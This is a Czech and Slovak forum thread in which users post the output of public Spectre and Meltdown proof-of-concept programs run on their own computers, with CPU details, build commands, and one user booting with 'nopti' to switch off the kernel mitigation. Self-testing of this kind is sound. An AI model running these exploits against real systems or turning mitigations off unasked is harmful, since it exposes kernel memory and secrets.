Reading at malicious_x = 0xffffffffffdfebd7... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebd8... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebd9... Success: 0x69=’i’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebda... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdfebdb... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfebdc... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebdd... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfebde... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebdf... Success: 0x2E=’.’ score=2 

[trekker.dk]

processor       : 0
vendor_id       : AuthenticAMD
cpu family      : 21
model           : 2
model name      : AMD FX(tm)-6300 Six-Core Processor
stepping        : 0
microcode       : 0x600084f
cpu MHz         : 1400.000

gcc -march=bdver2 -std=c99 -O0 spectre.c -o spectre

S patchem v #8 mi to vypisuje eeeeeeeeee...

[MadCatX]

Pro úplnost další výsledky: i3-2120T, Linux ect228-srv.prfuk.natur.cuni.cz 3.10.0-693.11.6.el7.x86_64 #1 SMP Thu Jan 4 01:06:37 UTC 2018

Reading at malicious_x = 0xffffffffffdffac0... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdffac1... Success: 0x68=’h’ score=7 (second best: 0xAF score=1)
Reading at malicious_x = 0xffffffffffdffac2... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffac3... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffac4... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdffac5... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffac6... Success: 0x67=’g’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffac7... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdffac8... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdffac9... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffaca... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdffacb... Success: 0x6F=’o’ score=33 (second best: 0x05 score=14)
Reading at malicious_x = 0xffffffffffdffacc... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdffacd... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfface... Success: 0x73=’s’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffacf... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffad0... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffad1... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdffad2... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffad3... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffad4... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdffad5... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdffad6... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdffad7... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffad8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffad9... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdffada... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdffadb... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdffadc... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdffadd... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffade... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdffadf... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdffae0... Success: 0x73=’s’ score=7 (second best: 0xAE score=1)
Reading at malicious_x = 0xffffffffffdffae1... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdffae2... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdffae3... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdffae4... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffae5... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdffae6... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdffae7... Success: 0x2E=’.’ score=7 (second best: 0x05 score=1)

i5-6600K, Linux Thora 4.14.11-300.fc27.x86_64 #1 SMP Wed Jan 3 13:52:28 UTC 2018

S cache hit prahem 27, jinak je skóre hrozně vysoké.

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffac0... Success: 0x54=’T’ score=15 (second best: 0x00 score=6)
Reading at malicious_x = 0xffffffffffdffac1... Success: 0x00=’?’ score=1 
Reading at malicious_x = 0xffffffffffdffac2... Success: 0x00=’?’ score=1 
Reading at malicious_x = 0xffffffffffdffac3... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffac4... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdffac5... Unclear: 0x61=’a’ score=16 (second best: 0x62 score=13)
Reading at malicious_x = 0xffffffffffdffac6... Unclear: 0x67=’g’ score=12 (second best: 0x00 score=10)
Reading at malicious_x = 0xffffffffffdffac7... Unclear: 0x69=’i’ score=15 (second best: 0x6A score=9)
Reading at malicious_x = 0xffffffffffdffac8... Unclear: 0x63=’c’ score=11 (second best: 0x00 score=11)
Reading at malicious_x = 0xffffffffffdffac9... Success: 0x20=’ ’ score=15 (second best: 0x00 score=4)
Reading at malicious_x = 0xffffffffffdffaca... Unclear: 0x57=’W’ score=12 (second best: 0x00 score=11)
Reading at malicious_x = 0xffffffffffdffacb... Unclear: 0x6F=’o’ score=13 (second best: 0x00 score=11)
Reading at malicious_x = 0xffffffffffdffacc... Unclear: 0x72=’r’ score=9 (second best: 0x05 score=8)
Reading at malicious_x = 0xffffffffffdffacd... Success: 0x64=’d’ score=14 (second best: 0x05 score=7)
Reading at malicious_x = 0xffffffffffdfface... Success: 0x73=’s’ score=14 (second best: 0x05 score=7)
Reading at malicious_x = 0xffffffffffdffacf... Unclear: 0x20=’ ’ score=14 (second best: 0x00 score=15)
Reading at malicious_x = 0xffffffffffdffad0... Success: 0x61=’a’ score=16 (second best: 0x62 score=8)
Reading at malicious_x = 0xffffffffffdffad1... Unclear: 0x72=’r’ score=13 (second best: 0x05 score=8)
Reading at malicious_x = 0xffffffffffdffad2... Unclear: 0x65=’e’ score=13 (second best: 0x00 score=7)
Reading at malicious_x = 0xffffffffffdffad3... Success: 0x20=’ ’ score=17 (second best: 0x00 score=4)
Reading at malicious_x = 0xffffffffffdffad4... Unclear: 0x53=’S’ score=12 (second best: 0x05 score=7)
Reading at malicious_x = 0xffffffffffdffad5... Unclear: 0x00=’?’ score=12 (second best: 0x71 score=14)
Reading at malicious_x = 0xffffffffffdffad6... Success: 0x75=’u’ score=9 (second best: 0x05 score=2)
Reading at malicious_x = 0xffffffffffdffad7... Unclear: 0x05=’?’ score=11 (second best: 0x65 score=10)
Reading at malicious_x = 0xffffffffffdffad8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdffad9... Unclear: 0x6D=’m’ score=11 (second best: 0x00 score=11)
Reading at malicious_x = 0xffffffffffdffada... Unclear: 0x69=’i’ score=12 (second best: 0x6A score=8)
Reading at malicious_x = 0xffffffffffdffadb... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdffadc... Success: 0x00=’?’ score=1 
Reading at malicious_x = 0xffffffffffdffadd... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdffade... Unclear: 0x4F=’O’ score=12 (second best: 0x05 score=11)
Reading at malicious_x = 0xffffffffffdffadf... Unclear: 0x73=’s’ score=10 (second best: 0x05 score=8)
Reading at malicious_x = 0xffffffffffdffae0... Unclear: 0x73=’s’ score=10 (second best: 0x00 score=11)
Reading at malicious_x = 0xffffffffffdffae1... Success: 0x69=’i’ score=21 (second best: 0x05 score=8)
Reading at malicious_x = 0xffffffffffdffae2... Unclear: 0x66=’f’ score=12 (second best: 0x05 score=12)
Reading at malicious_x = 0xffffffffffdffae3... Success: 0x72=’r’ score=18 (second best: 0x00 score=4)
Reading at malicious_x = 0xffffffffffdffae4... Unclear: 0x61=’a’ score=16 (second best: 0x05 score=9)
Reading at malicious_x = 0xffffffffffdffae5... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdffae6... Unclear: 0x65=’e’ score=11 (second best: 0x05 score=6)
Reading at malicious_x = 0xffffffffffdffae7... Unclear: 0x2E=’.’ score=16 (second best: 0x00 score=10)

Wedos VPS, Linux Broken.devoid-pointer.net 2.6.32-696.16.1.el6.x86_64 #1 SMP Wed Nov 15 16:51:15 UTC 2017

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdff8c8... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8c9... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8ca... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8cb... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8cc... Unclear: 0xFD=’?’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff8cd... Unclear: 0xFD=’?’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff8ce... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8cf... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8d0... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8d1... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8d2... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8d3... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8d4... Unclear: 0xFD=’?’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff8d5... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8d6... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8d7... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8d8... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8d9... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8da... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8db... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8dc... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8dd... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8de... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8df... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8e0... Unclear: 0xFF=’?’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff8e1... Unclear: 0xFF=’?’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff8e2... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8e3... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8e4... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8e5... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8e6... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8e7... Unclear: 0xFF=’?’ score=999 (second best: 0xFC score=999)
Reading at malicious_x = 0xffffffffffdff8e8... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8e9... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8ea... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8eb... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8ec... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8ed... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = 0xffffffffffdff8ee... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = 0xffffffffffdff8ef... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)

[pc2005]

Je tu taky někdo komu ten program (s tou starou instrukcí rdtsc) jede jen pokud je zkompilovanej ve 32bit a na 64bit nic nenajde?

[janc1c1]

tak som skúsil ten test na meltdown.

#1 stiahol som s githubu ten program #2 spustil make #3 run.sh

looking for linux_proc_banner in /proc/kallsyms
cached = 21, uncached = 227, threshold 69
read ffffffff98c00060 = ff  
read ffffffff98c00061 = ff  
read ffffffff98c00062 = ff  
read ffffffff98c00063 = ff  
read ffffffff98c00064 = ff  
read ffffffff98c00065 = ff  
read ffffffff98c00066 = ff  
read ffffffff98c00067 = ff  
read ffffffff98c00068 = ff  
read ffffffff98c00069 = ff  
read ffffffff98c0006a = ff  
read ffffffff98c0006b = ff  
read ffffffff98c0006c = ff  
read ffffffff98c0006d = ff  
read ffffffff98c0006e = ff  
read ffffffff98c0006f = ff  
NOT VULNERABLE

aha, už asi mám ten patch, používam archlinux ... dopad záplaty kernelu KPTI

cpu vypisuje bugs: cpu_insecure

processor	: 7
vendor_id	: GenuineIntel
cpu family	: 6
model		: 70
model name	: Intel(R) Core(TM) i7-4770HQ CPU @ 2.20GHz
stepping	: 1
microcode	: 0x17
cpu MHz		: 2194.956
cache size	: 6144 KB
physical id	: 0
siblings	: 8
core id		: 3
cpu cores	: 4
apicid		: 7
initial apicid	: 7
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm cpuid_fault epb invpcid_single pti tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid xsaveopt dtherm ida arat pln pts
bugs		: cpu_insecure
bogomips	: 4391.82
clflush size	: 64
cache_alignment	: 64
address sizes	: 39 bits physical, 48 bits virtual
power management:

tak som restartol s parametrom nopti pre kernel, a je to jasne

looking for linux_proc_banner in /proc/kallsyms
cached = 23, uncached = 202, threshold 68
read ffffffffbcc00060 = 25 %
read ffffffffbcc00061 = 73 s
read ffffffffbcc00062 = 20  
read ffffffffbcc00063 = 76 v
read ffffffffbcc00064 = 65 e
read ffffffffbcc00065 = 72 r
read ffffffffbcc00066 = 73 s
read ffffffffbcc00067 = 69 i
read ffffffffbcc00068 = 6f o
read ffffffffbcc00069 = 6e n
read ffffffffbcc0006a = 20  
read ffffffffbcc0006b = 25 %
read ffffffffbcc0006c = 73 s
read ffffffffbcc0006d = 20  
read ffffffffbcc0006e = 28 (
read ffffffffbcc0006f = 62 b
VULNERABLE
VULNERABLE ON
4.14.11-1-ARCH #1 SMP PREEMPT Wed Jan 3 07:02:42 UTC 2018 unknown
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 70
model name	: Intel(R) Core(TM) i7-4770HQ CPU @ 2.20GHz
stepping	: 1
microcode	: 0x17
cpu MHz		: 2195.070
cache size	: 6144 KB
physical id	: 0

[marbu]

Na procesoru Intel Atom z roku 2012 podle očekávání spectre nefunguje :)

processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 28
model name      : Intel(R) Atom(TM) CPU N570   @ 1.66GHz
stepping        : 10
microcode       : 0x107
cpu MHz         : 1334.000
cache size      : 512 KB
physical id     : 0
siblings        : 4
core id         : 0
cpu cores       : 2
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 10
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov
pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm
constant_tsc arch_perfmon pebs bts nopl cpuid aperfmperf pni dtes64 monitor
ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm movbe lahf_lm tpr_shadow vnmi
flexpriority dtherm
bugs            :
bogomips        : 3324.95
clflush size    : 64
cache_alignment : 64
address sizes   : 36 bits physical, 48 bits virtual
power management:

$ make
gcc -march=native -std=c99 -O0 spectre.c -o spectre
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional
expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffad0... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad1... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad2... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad3... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad4... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad5... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad6... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad7... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad8... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffad9... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffada... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffadb... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffadc... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffadd... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffade... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffadf... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae0... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae1... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae2... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae3... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae4... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae5... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae6... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae7... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae8... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffae9... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaea... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaeb... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaec... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaed... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaee... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaef... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf0... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf1... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf2... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf3... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf4... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf5... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf6... Success: 0xFF=’ score=0
Reading at malicious_x = 0xffffffffffdffaf7... Success: 0xFF=’ score=0

Patch z komentáře #8 způsobí core dump (chybějící rdtscp).

[marbu]

Stejně tak i meltdown (reproducer z github.com/paboldin/meltdown-exploit):

$ make CFLAGS='-DHAVE_RDTSCP=0' clean all
rm -f meltdown.o meltdown
cc -DHAVE_RDTSCP=0   -c -o meltdown.o meltdown.c
cc   meltdown.o   -o meltdown
$ ./run.sh 
looking for linux_proc_banner in /proc/kallsyms
cached = 39, uncached = 200, threshold 88
read ffffffffaba000a0 = ff  
read ffffffffaba000a1 = ff  
read ffffffffaba000a2 = ff  
read ffffffffaba000a3 = ff  
read ffffffffaba000a4 = ff  
read ffffffffaba000a5 = ff  
read ffffffffaba000a6 = ff  
read ffffffffaba000a7 = ff  
read ffffffffaba000a8 = ff  
read ffffffffaba000a9 = ff  
read ffffffffaba000aa = ff  
read ffffffffaba000ab = ff  
read ffffffffaba000ac = ff  
read ffffffffaba000ad = ff  
read ffffffffaba000ae = ff  
read ffffffffaba000af = ff  
NOT VULNERABLE

[pc2005]

Ještě, jestli máš compat32, tak můžeš zkusit spectre zkompilovat do 32bit. Mě to čte RAM jen jako 32bit binárka.

[Grunt]

Co to zas je? Neříkejte mi že v nějakém Pentiu je zas další bug. Protože to by bylo překvapení, skutečně…

[marbu]

Kdyby tak byl ten Pentium FDIV bug poslední vážný problém Intel procesorů ...

[Käyttäjä 11133]

Právě že to byl pro řadu Pentium první, ne? :)

[pc2005]

FDIV je proti tomuhle jen drobná nepřesnost . Ale je vtipný, že to bylo způsobený taky špatnou verifikací modelu (špatné hodnoty v některých položkách tabulky, co ten FDIV měla urychlovat).

[R]

Rozdiel je v tom, ze Intel tie chybne procesory vtedy zakaznikom menil v zaruke za bezchybne.

[trekker.dk]

Poté, co k tomu byl dokopán - zezačátku měnili jenom v případě, že uznali, že zákazník "potřebuje" přesné výpočty v plovoucí řádové čárce.

[pc2005]

Ďalej vyšiel Vulnerability Online Check Tool ktorý testuje zranitelnosť browsera:

Mě to rovnou napíše že invulnerable. To je naprd (nejspíš testuje verzi FF, to žě to verze tvrdí ještě neznamená že to nejde ), takhle nemůžu testovat různé konfigurace.

BTW by byla legrace kdyby to byl fake a ten web jen sbíral statistiku :P .

Jinak HP 255 G5 (AMD APU). Varianta s rdtscp. Na defaultní hodnotu to hodí tak každý 4 písmeno. Po zvýšení thresholdu na 100 vypiše.

processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 22
model		: 48
model name	: AMD E2-7110 APU with AMD Radeon R2 Graphics
stepping	: 1
microcode	: 0x7030105
cpu MHz		: 1350.000
cache size	: 2048 KB
physical id	: 0
siblings	: 4
core id		: 0
cpu cores	: 4
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt topoext perfctr_nb bpext ptsc perfctr_llc hw_pstate vmmcall bmi1 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale flushbyasid decodeassists pausefilter pfthreshold overflow_recov
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 3593.41
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate acc_power [13]

processor	: 1
vendor_id	: AuthenticAMD
cpu family	: 22
model		: 48
model name	: AMD E2-7110 APU with AMD Radeon R2 Graphics
stepping	: 1
microcode	: 0x7030105
cpu MHz		: 1800.000
cache size	: 2048 KB
physical id	: 0
siblings	: 4
core id		: 1
cpu cores	: 4
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt topoext perfctr_nb bpext ptsc perfctr_llc hw_pstate vmmcall bmi1 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale flushbyasid decodeassists pausefilter pfthreshold overflow_recov
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 3593.41
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate acc_power [13]

processor	: 2
vendor_id	: AuthenticAMD
cpu family	: 22
model		: 48
model name	: AMD E2-7110 APU with AMD Radeon R2 Graphics
stepping	: 1
microcode	: 0x7030105
cpu MHz		: 1350.000
cache size	: 2048 KB
physical id	: 0
siblings	: 4
core id		: 2
cpu cores	: 4
apicid		: 2
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt topoext perfctr_nb bpext ptsc perfctr_llc hw_pstate vmmcall bmi1 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale flushbyasid decodeassists pausefilter pfthreshold overflow_recov
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 3593.41
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate acc_power [13]

processor	: 3
vendor_id	: AuthenticAMD
cpu family	: 22
model		: 48
model name	: AMD E2-7110 APU with AMD Radeon R2 Graphics
stepping	: 1
microcode	: 0x7030105
cpu MHz		: 1200.000
cache size	: 2048 KB
physical id	: 0
siblings	: 4
core id		: 3
cpu cores	: 4
apicid		: 3
initial apicid	: 3
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc cpuid extd_apicid aperfmperf pni pclmulqdq monitor ssse3 cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt topoext perfctr_nb bpext ptsc perfctr_llc hw_pstate vmmcall bmi1 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale flushbyasid decodeassists pausefilter pfthreshold overflow_recov
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 3593.41
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate acc_power [13]

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfec20... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfec21... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfec22... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfec23... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfec24... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdfec25... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfec26... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfec27... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfec28... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdfec29... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfec2a... Success: 0x57=’W’ score=2 
